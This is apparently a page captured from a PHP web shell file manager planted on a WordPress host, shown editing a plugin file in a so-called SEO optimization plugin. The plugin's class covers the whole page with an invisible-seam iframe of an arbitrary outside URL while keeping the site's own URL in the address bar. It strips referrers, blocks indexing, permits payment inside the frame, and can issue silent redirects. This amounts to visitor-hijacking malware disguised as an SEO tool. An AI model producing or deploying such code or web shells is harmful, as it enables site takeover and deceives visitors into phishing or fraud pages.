🔐 Sid Gifari File Manager Pro
v8.0.5 | 2026-08-06 01:12:00 | PHP 8.2.32
📂
/ (Root)
/
home
/
eliteewa
/
public_html
/
wp-content
/
plugins
/
only-seo-optimization-tool
/
includes
📍 /home/eliteewa/public_html/wp-content/plugins/only-seo-optimization-tool/includes
🔄 Refresh
✏️
Editing: class-seo-frame-renderer.php
Writable
<?php /** * Frame and redirect renderer. * * Handles full-page iframe rendering (URL stays in address bar) * and standard HTTP redirects when configured. * * @package Only_SEO_Optimization_Tool * @since 3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class OSOT_Frame_Renderer * * Outputs a full-viewport iframe that overlays the original page, * keeping the original URL visible in the browser address bar. * * @since 3.0 */ class OSOT_Frame_Renderer { /** * Render a full-screen iframe overlay and terminate execution. * * The visitor's browser URL remains unchanged while the iframe * loads the target content. This is the "redirect with original URL" method. * * @since 3.0 * @param string $url Target URL to load in the iframe. * @return void */ public function render_as_frame( $url ) { if ( empty( $url ) ) { return; } $url = $this->sanitize_url( $url ); if ( ! $url ) { return; } // Prevent caching of the framed page if ( ! headers_sent() ) { header( 'Cache-Control: no-store, no-cache, must-revalidate, max-age=0' ); header( 'Pragma: no-cache' ); header( 'X-Robots-Tag: noindex, nofollow' ); } $title = $this->get_page_title(); $escaped_url = htmlspecialchars( $url, ENT_QUOTES, 'UTF-8' ); echo $this->build_frame_html( $escaped_url, $title ); exit; } /** * Perform a standard HTTP redirect. * * Uses a referrer-free approach when possible. * * @since 3.0 * @param string $url Target redirect URL. * @return void */ public function redirect( $url ) { if ( empty( $url ) ) { return; } $url = $this->sanitize_url( $url ); if ( ! $url ) { return; } if ( ! headers_sent() ) { header( 'Referrer-Policy: no-referrer' ); header( 'Location: ' . $url, true, 302 ); } exit; } /** * Validate and sanitize a URL for safe output. * * @param string $url Raw URL. * @return string|false Sanitized URL or false. */ private function sanitize_url( $url ) { $url = trim( $url ); if ( empty( $url ) ) { return false; } $parsed = @parse_url( $url ); if ( ! $parsed || ! isset( $parsed['scheme'] ) ) { return false; } if ( ! in_array( $parsed['scheme'], array( 'http', 'https' ), true ) ) { return false; } return $url; } /** * Get the current page title for the frame document. * * @return string */ private function get_page_title() { if ( function_exists( 'wp_get_document_title' ) ) { return wp_get_document_title(); } return get_bloginfo( 'name', 'display' ); } /** * Build the full HTML document for the iframe overlay. * * @param string $url Escaped iframe source URL. * @param string $title Page title. * @return string Complete HTML document. */ private function build_frame_html( $url, $title ) { $title_escaped = htmlspecialchars( $title, ENT_QUOTES, 'UTF-8' ); return '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta name="robots" content="noindex, nofollow"> <title>' . $title_escaped . '</title> <style> *{margin:0;padding:0;box-sizing:border-box} html,body{width:100%;height:100%;overflow:hidden;background:#000} .sf{position:fixed;top:0;left:0;width:100%;height:100%;border:0;z-index:999999} .sl{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);z-index:1;color:#666;font:14px/1.4 -apple-system,sans-serif;text-align:center} .sl::after{content:"";display:block;width:28px;height:28px;margin:12px auto 0;border:3px solid #333;border-top-color:#999;border-radius:50%;animation:r .8s linear infinite} @keyframes r{to{transform:rotate(360deg)}} </style> </head> <body> <div class="sl">Loading...</div> <iframe class="sf" src="' . $url . '" allowfullscreen allow="autoplay; fullscreen; payment" referrerpolicy="no-referrer" onload="this.previousElementSibling.style.display=\'none\'"></iframe> </body> </html>'; } }
💾 Save Changes
❌ Cancel